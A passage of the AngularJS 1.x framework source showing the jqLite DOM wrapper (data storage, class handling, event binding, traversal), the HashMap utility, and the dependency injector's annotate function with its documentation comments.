2366 if (element instanceof JQLite) {
2367 return element;
2368 }
2369 if (isString(element)) {
2370 element = trim(element);
2371 }
2372 if (!(this instanceof JQLite)) {
2373 if (isString(element) && element.charAt(0) != '<') {
2374 throw jqLiteMinErr('nosel', 'Looking up elements via selectors is not supported by jqLite! See: http://docs.angularjs.org/api/angular.element');
2375 }
2376 return new JQLite(element);
2377 }
2378
2379 if (isString(element)) {
2380 jqLiteAddNodes(this, jqLiteParseHTML(element));
2381 var fragment = jqLite(document.createDocumentFragment());
2382 fragment.append(this);
2383 } else {
2384 jqLiteAddNodes(this, element);
2385 }
2386 }
2387
2388 function jqLiteClone(element) {
2389 return element.cloneNode(true);
2390 }
2391
2392 function jqLiteDealoc(element){
2393 jqLiteRemoveData(element);
2394 for ( var i = 0, children = element.childNodes || []; i < children.length; i++) {
2395 jqLiteDealoc(children[i]);
2396 }
2397 }
2398
2399 function jqLiteOff(element, type, fn, unsupported) {
2400 if (isDefined(unsupported)) throw jqLiteMinErr('offargs', 'jqLite#off() does not support the `selector` argument');
2401
2402 var events = jqLiteExpandoStore(element, 'events'),
2403 handle = jqLiteExpandoStore(element, 'handle');
2404
2405 if (!handle) return; //no listeners registered
2406
2407 if (isUndefined(type)) {
2408 forEach(events, function(eventHandler, type) {
2409 removeEventListenerFn(element, type, eventHandler);
2410 delete events[type];
2411 });
2412 } else {
2413 forEach(type.split(' '), function(type) {
2414 if (isUndefined(fn)) {
2415 removeEventListenerFn(element, type, events[type]);
2416 delete events[type];
2417 } else {
2418 arrayRemove(events[type] || [], fn);
2419 }
2420 });
2421 }
2422 }
2423
2424 function jqLiteRemoveData(element, name) {
2425 var expandoId = element.ng339,
2426 expandoStore = jqCache[expandoId];
2427
2428 if (expandoStore) {
2429 if (name) {
2430 delete jqCache[expandoId].data[name];
2431 return;
2432 }
2433
2434 if (expandoStore.handle) {
2435 expandoStore.events.$destroy && expandoStore.handle({}, '$destroy');
2436 jqLiteOff(element);
2437 }
2438 delete jqCache[expandoId];
2439 element.ng339 = undefined; // don't delete DOM expandos. IE and Chrome don't like it
2440 }
2441 }
2442
2443 function jqLiteExpandoStore(element, key, value) {
2444 var expandoId = element.ng339,
2445 expandoStore = jqCache[expandoId || -1];
2446
2447 if (isDefined(value)) {
2448 if (!expandoStore) {
2449 element.ng339 = expandoId = jqNextId();
2450 expandoStore = jqCache[expandoId] = {};
2451 }
2452 expandoStore[key] = value;
2453 } else {
2454 return expandoStore && expandoStore[key];
2455 }
2456 }
2457
2458 function jqLiteData(element, key, value) {
2459 var data = jqLiteExpandoStore(element, 'data'),
2460 isSetter = isDefined(value),
2461 keyDefined = !isSetter && isDefined(key),
2462 isSimpleGetter = keyDefined && !isObject(key);
2463
2464 if (!data && !isSimpleGetter) {
2465 jqLiteExpandoStore(element, 'data', data = {});
2466 }
2467
2468 if (isSetter) {
2469 data[key] = value;
2470 } else {
2471 if (keyDefined) {
2472 if (isSimpleGetter) {
2473 // don't create data in this case.
2474 return data && data[key];
2475 } else {
2476 extend(data, key);
2477 }
2478 } else {
2479 return data;
2480 }
2481 }
2482 }
2483
2484 function jqLiteHasClass(element, selector) {
2485 if (!element.getAttribute) return false;
2486 return ((" " + (element.getAttribute('class') || '') + " ").replace(/[\n\t]/g, " ").
2487 indexOf( " " + selector + " " ) > -1);
2488 }
2489
2490 function jqLiteRemoveClass(element, cssClasses) {
2491 if (cssClasses && element.setAttribute) {
2492 forEach(cssClasses.split(' '), function(cssClass) {
2493 element.setAttribute('class', trim(
2494 (" " + (element.getAttribute('class') || '') + " ")
2495 .replace(/[\n\t]/g, " ")
2496 .replace(" " + trim(cssClass) + " ", " "))
2497 );
2498 });
2499 }
2500 }
2501
2502 function jqLiteAddClass(element, cssClasses) {
2503 if (cssClasses && element.setAttribute) {
2504 var existingClasses = (' ' + (element.getAttribute('class') || '') + ' ')
2505 .replace(/[\n\t]/g, " ");
2506
2507 forEach(cssClasses.split(' '), function(cssClass) {
2508 cssClass = trim(cssClass);
2509 if (existingClasses.indexOf(' ' + cssClass + ' ') === -1) {
2510 existingClasses += cssClass + ' ';
2511 }
2512 });
2513
2514 element.setAttribute('class', trim(existingClasses));
2515 }
2516 }
2517
2518 function jqLiteAddNodes(root, elements) {
2519 if (elements) {
2520 elements = (!elements.nodeName && isDefined(elements.length) && !isWindow(elements))
2521 ? elements
2522 : [ elements ];
2523 for(var i=0; i < elements.length; i++) {
2524 root.push(elements[i]);
2525 }
2526 }
2527 }
2528
2529 function jqLiteController(element, name) {
2530 return jqLiteInheritedData(element, '$' + (name || 'ngController' ) + 'Controller');
2531 }
2532
2533 function jqLiteInheritedData(element, name, value) {
2534 // if element is the document object work with the html element instead
2535 // this makes $(document).scope() possible
2536 if(element.nodeType == 9) {
2537 element = element.documentElement;
2538 }
2539 var names = isArray(name) ? name : [name];
2540
2541 while (element) {
2542 for (var i = 0, ii = names.length; i < ii; i++) {
2543 if ((value = jqLite.data(element, names[i])) !== undefined) return value;
2544 }
2545
2546 // If dealing with a document fragment node with a host element, and no parent, use the host
2547 // element as the parent. This enables directives within a Shadow DOM or polyfilled Shadow DOM
2548 // to lookup parent controllers.
2549 element = element.parentNode || (element.nodeType === 11 && element.host);
2550 }
2551 }
2552
2553 function jqLiteEmpty(element) {
2554 for (var i = 0, childNodes = element.childNodes; i < childNodes.length; i++) {
2555 jqLiteDealoc(childNodes[i]);
2556 }
2557 while (element.firstChild) {
2558 element.removeChild(element.firstChild);
2559 }
2560 }
2561
2562 //////////////////////////////////////////
2563 // Functions which are declared directly.
2564 //////////////////////////////////////////
2565 var JQLitePrototype = JQLite.prototype = {
2566 ready: function(fn) {
2567 var fired = false;
2568
2569 function trigger() {
2570 if (fired) return;
2571 fired = true;
2572 fn();
2573 }
2574
2575 // check if document already is loaded
2576 if (document.readyState === 'complete'){
2577 setTimeout(trigger);
2578 } else {
2579 this.on('DOMContentLoaded', trigger); // works for modern browsers and IE9
2580 // we can not use jqLite since we are not done loading and jQuery could be loaded later.
2581 // jshint -W064
2582 JQLite(window).on('load', trigger); // fallback to window.onload for others
2583 // jshint +W064
2584 }
2585 },
2586 toString: function() {
2587 var value = [];
2588 forEach(this, function(e){ value.push('' + e);});
2589 return '[' + value.join(', ') + ']';
2590 },
2591
2592 eq: function(index) {
2593 return (index >= 0) ? jqLite(this[index]) : jqLite(this[this.length + index]);
2594 },
2595
2596 length: 0,
2597 push: push,
2598 sort: [].sort,
2599 splice: [].splice
2600 };
2601
2602 //////////////////////////////////////////
2603 // Functions iterating getter/setters.
2604 // these functions return self on setter and
2605 // value on get.
2606 //////////////////////////////////////////
2607 var BOOLEAN_ATTR = {};
2608 forEach('multiple,selected,checked,disabled,readOnly,required,open'.split(','), function(value) {
2609 BOOLEAN_ATTR[lowercase(value)] = value;
2610 });
2611 var BOOLEAN_ELEMENTS = {};
2612 forEach('input,select,option,textarea,button,form,details'.split(','), function(value) {
2613 BOOLEAN_ELEMENTS[uppercase(value)] = true;
2614 });
2615
2616 function getBooleanAttrName(element, name) {
2617 // check dom last since we will most likely fail on name
2618 var booleanAttr = BOOLEAN_ATTR[name.toLowerCase()];
2619
2620 // booleanAttr is here twice to minimize DOM access
2621 return booleanAttr && BOOLEAN_ELEMENTS[element.nodeName] && booleanAttr;
2622 }
2623
2624 forEach({
2625 data: jqLiteData,
2626 removeData: jqLiteRemoveData
2627 }, function(fn, name) {
2628 JQLite[name] = fn;
2629 });
2630
2631 forEach({
2632 data: jqLiteData,
2633 inheritedData: jqLiteInheritedData,
2634
2635 scope: function(element) {
2636 // Can't use jqLiteData here directly so we stay compatible with jQuery!
2637 return jqLite.data(element, '$scope') || jqLiteInheritedData(element.parentNode || element, ['$isolateScope', '$scope']);
2638 },
2639
2640 isolateScope: function(element) {
2641 // Can't use jqLiteData here directly so we stay compatible with jQuery!
2642 return jqLite.data(element, '$isolateScope') || jqLite.data(element, '$isolateScopeNoTemplate');
2643 },
2644
2645 controller: jqLiteController,
2646
2647 injector: function(element) {
2648 return jqLiteInheritedData(element, '$injector');
2649 },
2650
2651 removeAttr: function(element,name) {
2652 element.removeAttribute(name);
2653 },
2654
2655 hasClass: jqLiteHasClass,
2656
2657 css: function(element, name, value) {
2658 name = camelCase(name);
2659
2660 if (isDefined(value)) {
2661 element.style[name] = value;
2662 } else {
2663 var val;
2664
2665 if (msie <= 8) {
2666 // this is some IE specific weirdness that jQuery 1.6.4 does not sure why
2667 val = element.currentStyle && element.currentStyle[name];
2668 if (val === '') val = 'auto';
2669 }
2670
2671 val = val || element.style[name];
2672
2673 if (msie <= 8) {
2674 // jquery weirdness :-/
2675 val = (val === '') ? undefined : val;
2676 }
2677
2678 return val;
2679 }
2680 },
2681
2682 attr: function(element, name, value){
2683 var lowercasedName = lowercase(name);
2684 if (BOOLEAN_ATTR[lowercasedName]) {
2685 if (isDefined(value)) {
2686 if (!!value) {
2687 element[name] = true;
2688 element.setAttribute(name, lowercasedName);
2689 } else {
2690 element[name] = false;
2691 element.removeAttribute(lowercasedName);
2692 }
2693 } else {
2694 return (element[name] ||
2695 (element.attributes.getNamedItem(name)|| noop).specified)
2696 ? lowercasedName
2697 : undefined;
2698 }
2699 } else if (isDefined(value)) {
2700 element.setAttribute(name, value);
2701 } else if (element.getAttribute) {
2702 // the extra argument "2" is to get the right thing for a.href in IE, see jQuery code
2703 // some elements (e.g. Document) don't have get attribute, so return undefined
2704 var ret = element.getAttribute(name, 2);
2705 // normalize non-existing attributes to undefined (as jQuery)
2706 return ret === null ? undefined : ret;
2707 }
2708 },
2709
2710 prop: function(element, name, value) {
2711 if (isDefined(value)) {
2712 element[name] = value;
2713 } else {
2714 return element[name];
2715 }
2716 },
2717
2718 text: (function() {
2719 var NODE_TYPE_TEXT_PROPERTY = [];
2720 if (msie < 9) {
2721 NODE_TYPE_TEXT_PROPERTY[1] = 'innerText'; /** Element **/
2722 NODE_TYPE_TEXT_PROPERTY[3] = 'nodeValue'; /** Text **/
2723 } else {
2724 NODE_TYPE_TEXT_PROPERTY[1] = /** Element **/
2725 NODE_TYPE_TEXT_PROPERTY[3] = 'textContent'; /** Text **/
2726 }
2727 getText.$dv = '';
2728 return getText;
2729
2730 function getText(element, value) {
2731 var textProp = NODE_TYPE_TEXT_PROPERTY[element.nodeType];
2732 if (isUndefined(value)) {
2733 return textProp ? element[textProp] : '';
2734 }
2735 element[textProp] = value;
2736 }
2737 })(),
2738
2739 val: function(element, value) {
2740 if (isUndefined(value)) {
2741 if (nodeName_(element) === 'SELECT' && element.multiple) {
2742 var result = [];
2743 forEach(element.options, function (option) {
2744 if (option.selected) {
2745 result.push(option.value || option.text);
2746 }
2747 });
2748 return result.length === 0 ? null : result;
2749 }
2750 return element.value;
2751 }
2752 element.value = value;
2753 },
2754
2755 html: function(element, value) {
2756 if (isUndefined(value)) {
2757 return element.innerHTML;
2758 }
2759 for (var i = 0, childNodes = element.childNodes; i < childNodes.length; i++) {
2760 jqLiteDealoc(childNodes[i]);
2761 }
2762 element.innerHTML = value;
2763 },
2764
2765 empty: jqLiteEmpty
2766 }, function(fn, name){
2767 /**
2768 * Properties: writes return selection, reads return first value
2769 */
2770 JQLite.prototype[name] = function(arg1, arg2) {
2771 var i, key;
2772 var nodeCount = this.length;
2773
2774 // jqLiteHasClass has only two arguments, but is a getter-only fn, so we need to special-case it
2775 // in a way that survives minification.
2776 // jqLiteEmpty takes no arguments but is a setter.
2777 if (fn !== jqLiteEmpty &&
2778 (((fn.length == 2 && (fn !== jqLiteHasClass && fn !== jqLiteController)) ? arg1 : arg2) === undefined)) {
2779 if (isObject(arg1)) {
2780
2781 // we are a write, but the object properties are the key/values
2782 for (i = 0; i < nodeCount; i++) {
2783 if (fn === jqLiteData) {
2784 // data() takes the whole object in jQuery
2785 fn(this[i], arg1);
2786 } else {
2787 for (key in arg1) {
2788 fn(this[i], key, arg1[key]);
2789 }
2790 }
2791 }
2792 // return self for chaining
2793 return this;
2794 } else {
2795 // we are a read, so read the first child.
2796 // TODO: do we still need this?
2797 var value = fn.$dv;
2798 // Only if we have $dv do we iterate over all, otherwise it is just the first element.
2799 var jj = (value === undefined) ? Math.min(nodeCount, 1) : nodeCount;
2800 for (var j = 0; j < jj; j++) {
2801 var nodeValue = fn(this[j], arg1, arg2);
2802 value = value ? value + nodeValue : nodeValue;
2803 }
2804 return value;
2805 }
2806 } else {
2807 // we are a write, so apply to all children
2808 for (i = 0; i < nodeCount; i++) {
2809 fn(this[i], arg1, arg2);
2810 }
2811 // return self for chaining
2812 return this;
2813 }
2814 };
2815 });
2816
2817 function createEventHandler(element, events) {
2818 var eventHandler = function (event, type) {
2819 if (!event.preventDefault) {
2820 event.preventDefault = function() {
2821 event.returnValue = false; //ie
2822 };
2823 }
2824
2825 if (!event.stopPropagation) {
2826 event.stopPropagation = function() {
2827 event.cancelBubble = true; //ie
2828 };
2829 }
2830
2831 if (!event.target) {
2832 event.target = event.srcElement || document;
2833 }
2834
2835 if (isUndefined(event.defaultPrevented)) {
2836 var prevent = event.preventDefault;
2837 event.preventDefault = function() {
2838 event.defaultPrevented = true;
2839 prevent.call(event);
2840 };
2841 event.defaultPrevented = false;
2842 }
2843
2844 event.isDefaultPrevented = function() {
2845 return event.defaultPrevented || event.returnValue === false;
2846 };
2847
2848 // Copy event handlers in case event handlers array is modified during execution.
2849 var eventHandlersCopy = shallowCopy(events[type || event.type] || []);
2850
2851 forEach(eventHandlersCopy, function(fn) {
2852 fn.call(element, event);
2853 });
2854
2855 // Remove monkey-patched methods (IE),
2856 // as they would cause memory leaks in IE8.
2857 if (msie <= 8) {
2858 // IE7/8 does not allow to delete property on native object
2859 event.preventDefault = null;
2860 event.stopPropagation = null;
2861 event.isDefaultPrevented = null;
2862 } else {
2863 // It shouldn't affect normal browsers (native methods are defined on prototype).
2864 delete event.preventDefault;
2865 delete event.stopPropagation;
2866 delete event.isDefaultPrevented;
2867 }
2868 };
2869 eventHandler.elem = element;
2870 return eventHandler;
2871 }
2872
2873 //////////////////////////////////////////
2874 // Functions iterating traversal.
2875 // These functions chain results into a single
2876 // selector.
2877 //////////////////////////////////////////
2878 forEach({
2879 removeData: jqLiteRemoveData,
2880
2881 dealoc: jqLiteDealoc,
2882
2883 on: function onFn(element, type, fn, unsupported){
2884 if (isDefined(unsupported)) throw jqLiteMinErr('onargs', 'jqLite#on() does not support the `selector` or `eventData` parameters');
2885
2886 var events = jqLiteExpandoStore(element, 'events'),
2887 handle = jqLiteExpandoStore(element, 'handle');
2888
2889 if (!events) jqLiteExpandoStore(element, 'events', events = {});
2890 if (!handle) jqLiteExpandoStore(element, 'handle', handle = createEventHandler(element, events));
2891
2892 forEach(type.split(' '), function(type){
2893 var eventFns = events[type];
2894
2895 if (!eventFns) {
2896 if (type == 'mouseenter' || type == 'mouseleave') {
2897 var contains = document.body.contains || document.body.compareDocumentPosition ?
2898 function( a, b ) {
2899 // jshint bitwise: false
2900 var adown = a.nodeType === 9 ? a.documentElement : a,
2901 bup = b && b.parentNode;
2902 return a === bup || !!( bup && bup.nodeType === 1 && (
2903 adown.contains ?
2904 adown.contains( bup ) :
2905 a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16
2906 ));
2907 } :
2908 function( a, b ) {
2909 if ( b ) {
2910 while ( (b = b.parentNode) ) {
2911 if ( b === a ) {
2912 return true;
2913 }
2914 }
2915 }
2916 return false;
2917 };
2918
2919 events[type] = [];
2920
2921 // Refer to jQuery's implementation of mouseenter & mouseleave
2922 // Read about mouseenter and mouseleave:
2923 // http://www.quirksmode.org/js/events_mouse.html#link8
2924 var eventmap = { mouseleave : "mouseout", mouseenter : "mouseover"};
2925
2926 onFn(element, eventmap[type], function(event) {
2927 var target = this, related = event.relatedTarget;
2928 // For mousenter/leave call the handler if related is outside the target.
2929 // NB: No relatedTarget if the mouse left/entered the browser window
2930 if ( !related || (related !== target && !contains(target, related)) ){
2931 handle(event, type);
2932 }
2933 });
2934
2935 } else {
2936 addEventListenerFn(element, type, handle);
2937 events[type] = [];
2938 }
2939 eventFns = events[type];
2940 }
2941 eventFns.push(fn);
2942 });
2943 },
2944
2945 off: jqLiteOff,
2946
2947 one: function(element, type, fn) {
2948 element = jqLite(element);
2949
2950 //add the listener twice so that when it is called
2951 //you can remove the original function and still be
2952 //able to call element.off(ev, fn) normally
2953 element.on(type, function onFn() {
2954 element.off(type, fn);
2955 element.off(type, onFn);
2956 });
2957 element.on(type, fn);
2958 },
2959
2960 replaceWith: function(element, replaceNode) {
2961 var index, parent = element.parentNode;
2962 jqLiteDealoc(element);
2963 forEach(new JQLite(replaceNode), function(node){
2964 if (index) {
2965 parent.insertBefore(node, index.nextSibling);
2966 } else {
2967 parent.replaceChild(node, element);
2968 }
2969 index = node;
2970 });
2971 },
2972
2973 children: function(element) {
2974 var children = [];
2975 forEach(element.childNodes, function(element){
2976 if (element.nodeType === 1)
2977 children.push(element);
2978 });
2979 return children;
2980 },
2981
2982 contents: function(element) {
2983 return element.contentDocument || element.childNodes || [];
2984 },
2985
2986 append: function(element, node) {
2987 forEach(new JQLite(node), function(child){
2988 if (element.nodeType === 1 || element.nodeType === 11) {
2989 element.appendChild(child);
2990 }
2991 });
2992 },
2993
2994 prepend: function(element, node) {
2995 if (element.nodeType === 1) {
2996 var index = element.firstChild;
2997 forEach(new JQLite(node), function(child){
2998 element.insertBefore(child, index);
2999 });
3000 }
3001 },
3002
3003 wrap: function(element, wrapNode) {
3004 wrapNode = jqLite(wrapNode)[0];
3005 var parent = element.parentNode;
3006 if (parent) {
3007 parent.replaceChild(wrapNode, element);
3008 }
3009 wrapNode.appendChild(element);
3010 },
3011
3012 remove: function(element) {
3013 jqLiteDealoc(element);
3014 var parent = element.parentNode;
3015 if (parent) parent.removeChild(element);
3016 },
3017
3018 after: function(element, newElement) {
3019 var index = element, parent = element.parentNode;
3020 forEach(new JQLite(newElement), function(node){
3021 parent.insertBefore(node, index.nextSibling);
3022 index = node;
3023 });
3024 },
3025
3026 addClass: jqLiteAddClass,
3027 removeClass: jqLiteRemoveClass,
3028
3029 toggleClass: function(element, selector, condition) {
3030 if (selector) {
3031 forEach(selector.split(' '), function(className){
3032 var classCondition = condition;
3033 if (isUndefined(classCondition)) {
3034 classCondition = !jqLiteHasClass(element, className);
3035 }
3036 (classCondition ? jqLiteAddClass : jqLiteRemoveClass)(element, className);
3037 });
3038 }
3039 },
3040
3041 parent: function(element) {
3042 var parent = element.parentNode;
3043 return parent && parent.nodeType !== 11 ? parent : null;
3044 },
3045
3046 next: function(element) {
3047 if (element.nextElementSibling) {
3048 return element.nextElementSibling;
3049 }
3050
3051 // IE8 doesn't have nextElementSibling
3052 var elm = element.nextSibling;
3053 while (elm != null && elm.nodeType !== 1) {
3054 elm = elm.nextSibling;
3055 }
3056 return elm;
3057 },
3058
3059 find: function(element, selector) {
3060 if (element.getElementsByTagName) {
3061 return element.getElementsByTagName(selector);
3062 } else {
3063 return [];
3064 }
3065 },
3066
3067 clone: jqLiteClone,
3068
3069 triggerHandler: function(element, event, extraParameters) {
3070
3071 var dummyEvent, eventFnsCopy, handlerArgs;
3072 var eventName = event.type || event;
3073 var eventFns = (jqLiteExpandoStore(element, 'events') || {})[eventName];
3074
3075 if (eventFns) {
3076
3077 // Create a dummy event to pass to the handlers
3078 dummyEvent = {
3079 preventDefault: function() { this.defaultPrevented = true; },
3080 isDefaultPrevented: function() { return this.defaultPrevented === true; },
3081 stopPropagation: noop,
3082 type: eventName,
3083 target: element
3084 };
3085
3086 // If a custom event was provided then extend our dummy event with it
3087 if (event.type) {
3088 dummyEvent = extend(dummyEvent, event);
3089 }
3090
3091 // Copy event handlers in case event handlers array is modified during execution.
3092 eventFnsCopy = shallowCopy(eventFns);
3093 handlerArgs = extraParameters ? [dummyEvent].concat(extraParameters) : [dummyEvent];
3094
3095 forEach(eventFnsCopy, function(fn) {
3096 fn.apply(element, handlerArgs);
3097 });
3098
3099 }
3100 }
3101 }, function(fn, name){
3102 /**
3103 * chaining functions
3104 */
3105 JQLite.prototype[name] = function(arg1, arg2, arg3) {
3106 var value;
3107 for(var i=0; i < this.length; i++) {
3108 if (isUndefined(value)) {
3109 value = fn(this[i], arg1, arg2, arg3);
3110 if (isDefined(value)) {
3111 // any function which returns a value needs to be wrapped
3112 value = jqLite(value);
3113 }
3114 } else {
3115 jqLiteAddNodes(value, fn(this[i], arg1, arg2, arg3));
3116 }
3117 }
3118 return isDefined(value) ? value : this;
3119 };
3120
3121 // bind legacy bind/unbind to on/off
3122 JQLite.prototype.bind = JQLite.prototype.on;
3123 JQLite.prototype.unbind = JQLite.prototype.off;
3124 });
3125
3126 /**
3127 * Computes a hash of an 'obj'.
3128 * Hash of a:
3129 * string is string
3130 * number is number as string
3131 * object is either result of calling $$hashKey function on the object or uniquely generated id,
3132 * that is also assigned to the $$hashKey property of the object.
3133 *
3134 * @param obj
3135 * @returns {string} hash string such that the same input will have the same hash string.
3136 * The resulting string key is in 'type:hashKey' format.
3137 */
3138 function hashKey(obj, nextUidFn) {
3139 var objType = typeof obj,
3140 key;
3141
3142 if (objType == 'function' || (objType == 'object' && obj !== null)) {
3143 if (typeof (key = obj.$$hashKey) == 'function') {
3144 // must invoke on object to keep the right this
3145 key = obj.$$hashKey();
3146 } else if (key === undefined) {
3147 key = obj.$$hashKey = (nextUidFn || nextUid)();
3148 }
3149 } else {
3150 key = obj;
3151 }
3152
3153 return objType + ':' + key;
3154 }
3155
3156 /**
3157 * HashMap which can use objects as keys
3158 */
3159 function HashMap(array, isolatedUid) {
3160 if (isolatedUid) {
3161 var uid = 0;
3162 this.nextUid = function() {
3163 return ++uid;
3164 };
3165 }
3166 forEach(array, this.put, this);
3167 }
3168 HashMap.prototype = {
3169 /**
3170 * Store key value pair
3171 * @param key key to store can be any type
3172 * @param value value to store can be any type
3173 */
3174 put: function(key, value) {
3175 this[hashKey(key, this.nextUid)] = value;
3176 },
3177
3178 /**
3179 * @param key
3180 * @returns {Object} the value for the key
3181 */
3182 get: function(key) {
3183 return this[hashKey(key, this.nextUid)];
3184 },
3185
3186 /**
3187 * Remove the key/value pair
3188 * @param key
3189 */
3190 remove: function(key) {
3191 var value = this[key = hashKey(key, this.nextUid)];
3192 delete this[key];
3193 return value;
3194 }
3195 };
3196
3197 /**
3198 * @ngdoc function
3199 * @module ng
3200 * @name angular.injector
3201 * @kind function
3202 *
3203 * @description
3204 * Creates an injector function that can be used for retrieving services as well as for
3205 * dependency injection (see {@link guide/di dependency injection}).
3206 *
3207
3208 * @param {Array.<string|Function>} modules A list of module functions or their aliases. See
3209 * {@link angular.module}. The `ng` module must be explicitly added.
3210 * @returns {function()} Injector function. See {@link auto.$injector $injector}.
3211 *
3212 * @example
3213 * Typical usage
3214 * ```js
3215 * // create an injector
3216 * var $injector = angular.injector(['ng']);
3217 *
3218 * // use the injector to kick off your application
3219 * // use the type inference to auto inject arguments, or use implicit injection
3220 * $injector.invoke(function($rootScope, $compile, $document){
3221 * $compile($document)($rootScope);
3222 * $rootScope.$digest();
3223 * });
3224 * ```
3225 *
3226 * Sometimes you want to get access to the injector of a currently running Angular app
3227 * from outside Angular. Perhaps, you want to inject and compile some markup after the
3228 * application has been bootstrapped. You can do this using the extra `injector()` added
3229 * to JQuery/jqLite elements. See {@link angular.element}.
3230 *
3231 * *This is fairly rare but could be the case if a third party library is injecting the
3232 * markup.*
3233 *
3234 * In the following example a new block of HTML containing a `ng-controller`
3235 * directive is added to the end of the document body by JQuery. We then compile and link
3236 * it into the current AngularJS scope.
3237 *
3238 * ```js
3239 * var $div = $('<div ng-controller="MyCtrl">{{content.label}}</div>');
3240 * $(document.body).append($div);
3241 *
3242 * angular.element(document).injector().invoke(function($compile) {
3243 * var scope = angular.element($div).scope();
3244 * $compile($div)(scope);
3245 * });
3246 * ```
3247 */
3248
3249
3250 /**
3251 * @ngdoc module
3252 * @name auto
3253 * @description
3254 *
3255 * Implicit module which gets automatically added to each {@link auto.$injector $injector}.
3256 */
3257
3258 var FN_ARGS = /^function\s*[^\(]*\(\s*([^\)]*)\)/m;
3259 var FN_ARG_SPLIT = /,/;
3260 var FN_ARG = /^\s*(_?)(\S+?)\1\s*$/;
3261 var STRIP_COMMENTS = /((\/\/.*$)|(\/\*[\s\S]*?\*\/))/mg;
3262 var $injectorMinErr = minErr('$injector');
3263 function annotate(fn) {
3264 var $inject,
3265 fnText,
3266 argDecl,
3267 last;
3268
3269 if (typeof fn === 'function') {
3270 if (!($inject = fn.$inject)) {
3271 $inject = [];
3272 if (fn.length) {
3273 fnText = fn.toString().replace(STRIP_COMMENTS, '');
3274 argDecl = fnText.match(FN_ARGS);
3275 forEach(argDecl[1].split(FN_ARG_SPLIT), function(arg){
3276 arg.replace(FN_ARG, function(all, underscore, name){
3277 $inject.push(name);
3278 });
3279 });
3280 }
3281 fn.$inject = $inject;
3282 }
3283 } else if (isArray(fn)) {
3284 last = fn.length - 1;
3285 assertArgFn(fn[last], 'fn');
3286 $inject = fn.slice(0, last);
3287 } else {
3288 assertArgFn(fn, 'fn', true);
3289 }
3290 return $inject;
3291 }
3292
3293 ///////////////////////////////////////
3294
3295 /**
3296 * @ngdoc service
3297 * @name $injector
3298 * @kind function
3299 *
3300 * @description
3301 *
3302 * `$injector` is used to retrieve object instances as defined by
3303 * {@link auto.$provide provider}, instantiate types, invoke methods,
3304 * and load modules.
3305 *
3306 * The following always holds true:
3307 *
3308 * ```js
3309 * var $injector = angular.injector();
3310 * expect($injector.get('$injector')).toBe($injector);
3311 * expect($injector.invoke(function($injector){
3312 * return $injector;
3313 * }).toBe($injector);
3314 * ```
3315 *
3316 * # Injection Function Annotation
3317 *
3318 * JavaScript does not have annotations, and annotations are needed for dependency injection. The
3319 * following are all valid ways of annotating function with injection arguments and are equivalent.
3320 *
3321 * ```js
3322 * // inferred (only works if code not minified/obfuscated)
3323 * $injector.invoke(function(serviceA){});
3324 *
3325 * // annotated
3326 * function explicit(serviceA) {};
3327 * explicit.$inject = ['serviceA'];
3328 * $injector.invoke(explicit);
3329 *
3330 * // inline
3331 * $injector.invoke(['serviceA', function(serviceA){}]);
3332 * ```
3333 *
3334 * ## Inference
3335 *
3336 * In JavaScript calling `toString()` on a function returns the function definition. The definition
3337 * can then be parsed and the function arguments can be extracted. *NOTE:* This does not work with
3338 * minification, and obfuscation tools since these tools change the argument names.
3339 *
3340 * ## `$inject` Annotation
3341 * By adding an `$inject` property onto a function the injection parameters can be specified.
3342 *
3343 * ## Inline
3344 * As an array of injection names, where the last item in the array is the function to call.
3345 */
3346
3347 /**
3348 * @ngdoc method
3349 * @name $injector#get
3350 *
3351 * @description
3352 * Return an instance of the service.
3353 *
3354 * @param {string} name The name of the instance to retrieve.
3355 * @return {*} The instance.
3356 */
3357
3358 /**
3359 * @ngdoc method
3360 * @name $injector#invoke
3361 *
3362 * @description
3363 * Invoke the method and supply the method arguments from the `$injector`.
3364 *
3365 * @param {!Function} fn The function to invoke. Function parameters are injected according to the
3366 * {@link guide/di $inject Annotation} rules.
3367 * @param {Object=} self The `this` for the invoked method.
3368 * @param {Object=} locals Optional object. If preset then any argument names are read from this
3369 * object first, before the `$injector` is consulted.
3370 * @returns {*} the value returned by the invoked `fn` function.
3371 */
3372
3373 /**
3374 * @ngdoc method
3375 * @name $injector#has
3376 *
3377 * @description
3378 * Allows the user to query if the particular service exists.
3379 *
3380 * @param {string} Name of the service to query.
3381 * @returns {boolean} returns true if injector has given service.
3382 */
3383
3384 /**
3385 * @ngdoc method
3386 * @name $injector#instantiate
3387 * @description
3388 * Create a new instance of JS type. The method takes a constructor function, invokes the new
3389 * operator, and supplies all of the arguments to the constructor function as specified by the
3390 * constructor annotation.
3391 *
3392 * @param {Function} Type Annotated constructor function.
3393 * @param {Object=} locals Optional object. If preset then any argument names are read from this
3394 * object first, before the `$injector` is consulted.
3395 * @returns {Object} new instance of `Type`.
3396 */
3397
3398 /**
3399 * @ngdoc method
3400 * @name $injector#annotate
3401 *
3402 * @description
3403 * Returns an array of service names which the function is requesting for injection. This API is
3404 * used by the injector to determine which services need to be injected into the function when the
3405 * function is invoked. There are three ways in which the function can be annotated with the needed
3406 * dependencies.
3407 *
3408 * # Argument names
3409 *
3410 * The simplest form is to extract the dependencies from the arguments of the function. This is done
3411 * by converting the function into a string using `toString()` method and extracting the argument
3412 * names.
3413 * ```js
3414 * // Given
3415 * function MyController($scope, $route) {
3416 * // ...
3417 * }
3418 *
3419 * // Then
3420 * expect(injector.annotate(MyController)).toEqual(['$scope', '$route']);
3421 * ```
3422 *
3423 * This method does not work with code minification / obfuscation. For this reason the following
3424 * annotation strategies are supported.
3425 *
3426 * # The `$inject` property
3427 *
3428 * If a function has an `$inject` property and its value is an array of strings, then the strings
3429 * represent names of services to be injected into the function.
3430 * ```js
3431 * // Given
3432 * var MyController = function(obfuscatedScope, obfuscatedRoute) {
3433 * // ...
3434 * }
3435 * // Define function dependencies
3436 * MyController['$inject'] = ['$scope', '$route'];
3437 *
3438 * // Then
3439 * expect(injector.annotate(MyController)).toEqual(['$scope', '$route']);
3440 * ```
3441 *
3442 * # The array notation
3443 *
3444 * It is often desirable to inline Injected functions and that's when setting the `$inject` property
3445 * is very inconvenient. In these situations using the array notation to specify the dependencies in
3446 * a way that survives minification is a better choice:
3447 *
3448 * ```js
3449 * // We wish to write this (not minification / obfuscation safe)
3450 * injector.invoke(function($compile, $rootScope) {
3451 * // ...
3452 * });
3453 *
3454 * // We are forced to write break inlining
3455 * var tmpFn = function(obfuscatedCompile, obfuscatedRootScope) {
3456 * // ...
3457 * };
3458 * tmpFn.$inject = ['$compile', '$rootScope'];
3459 * injector.invoke(tmpFn);
3460 *
